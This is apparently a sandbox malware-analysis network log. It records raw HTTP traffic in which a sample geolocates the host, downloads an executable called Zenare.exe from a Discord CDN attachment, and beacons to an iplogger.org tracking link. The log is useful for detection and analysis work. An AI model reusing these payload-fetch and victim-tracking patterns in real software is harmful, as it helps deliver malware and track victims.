Network Analysis

GET /geoip HTTP/1.1 Host: api.ip.sb Connection: Keep-Alive

HTTP/1.1 200 OK Date: Sat, 04 Sep 2021 04:58:46 GMT Content-Type: application/json; charset=utf-8 Content-Length: 347 Connection: keep-alive Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: no-cache Access-Control-Allow-Origin: * CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=n6mlpntwZ76bvP2CYeI1LlLRBWEqn%2FE%2Fzp48i2JZ26Jnvk9KuplIUtKVYz32JFzdnkZodBTuYAg9B6JYzfYadsNP%2F8WsbYadI%2BED6keOfqcWIS64v4P1m01vGA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 6894a502fc9aaf15-KIX alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400

GET /attachments/446310284857180160/883361400209174538/Zenare.exe HTTP/1.1 Host: cdn.discordapp.com Connection: Keep-Alive

HTTP/1.1 200 OK Date: Sat, 04 Sep 2021 04:59:14 GMT Content-Type: application/x-msdos-program Content-Length: 6570656 Connection: keep-alive CF-Ray: 6894a5b94b24e9e8-ICN Accept-Ranges: bytes Age: 44093 Cache-Control: public, max-age=31536000 Content-Disposition: attachment;%20filename=Zenare.exe ETag: "d43db563bc6efb1c6cbb86f4d21349d9" Expires: Sun, 04 Sep 2022 04:59:14 GMT Last-Modified: Fri, 03 Sep 2021 14:42:50 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1630680170015996 x-goog-hash: crc32c=R5mprw== x-goog-hash: md5=1D21Y7xu+xxsu4b00hNJ2Q== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 6570656 X-GUploader-UploadID: ADPycdvP4Ev-gafi0YxWBzvGFTRO_Jvazr_YE0KymriJKdD2BXPU-06-pZsQ_xP_ur2rvCl8YAdR43AUDShQrpBuuE8 X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=iL1%2BtD2JtQddeI%2B3FqPLX3mPR1lraGdxJ1I4GLgqa8ue5qVGSHtWuces8VUDvDnJpMFuTrLCO0MNjwQPXcKhMxxvQhYkuV3IEUA2g%2F1f0yyOvlsgBNtw33kSdNQGXeDbhG1jjA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare

GET /1mxPf7 HTTP/1.1 Connection: Keep-Alive MySpecialHeder: whatever User-Agent: Run Cache-Control: no-cache Host: iplogger.org

HTTP/1.1 200 OK Server: nginx Date: Sat, 04 Sep 2021 04:59:18 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: PHPSESSID=e04gonf3anpe0o53bn575q7qh5; path=/; HttpOnly Pragma: no-cache Set-Cookie: clhf03028ja=175.208.134.150; expires=Wed, 18-Jul-2029 05:49:51 GMT; Max-Age=248316633; path=/ Set-Cookie: timezone=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: timezone=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Cache-Control: no-cache Expires: Thu, 01 Jan 1970 00:00:01 GMT Answers: whoami: e1a815077ee94c4520390051867c5be861bab86db55e71ed7e138238169a4475 Strict-Transport-Security: max-age=31536000; preload X-Frame-Options: DENY

GET /1mxPf7 HTTP/1.1 Content-Type: text/html MySpecialHeder: whatever User-Agent: Run Host: iplogger.org Cache-Control: no-cache

HTTP/1.1 301 Moved Permanently Server: nginx Date: Sat, 04 Sep 2021 04:59:17 GMT Content-Type: text/html Content-Length: 178 Connection: keep-alive Location: https://iplogger.org/1mxPf7 Expires: Thu, 01 Jan 1970 00:00:01 GMT Cache-Control: no-cache Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Last-Modified: Thu, 01 Jan 1970 00:00:01 GMT X-Frame-Options: DENY